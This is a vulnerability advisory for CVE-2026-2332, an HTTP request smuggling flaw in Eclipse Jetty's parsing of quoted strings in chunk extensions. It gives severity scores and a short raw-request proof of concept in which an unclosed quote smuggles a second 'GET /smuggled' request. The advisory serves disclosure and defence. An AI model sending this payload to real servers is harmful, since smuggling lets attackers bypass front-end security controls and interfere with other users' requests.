# CVE-2026-2332: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

- Exploited (CISA KEV): no
- Published: 2026-04-14
- CVSS: 7.4 HIGH (v3.1)
- EPSS: 1.3% (71th percentile)
- CWE: CWE-444

In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:
  *  https://w4ke.info/2025/06/18/funky-chunks.html

  *  https://w4ke.info/2025/10/29/funky-chunks-2.html


Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.




POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

1;ext="val
X
0

GET /smuggled HTTP/1.1
...





Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.

"No public claim" means no vendor statement names this CVE; "Before feed history" means the CVE is older than the vendor feed. In both cases generic rules may still block it.
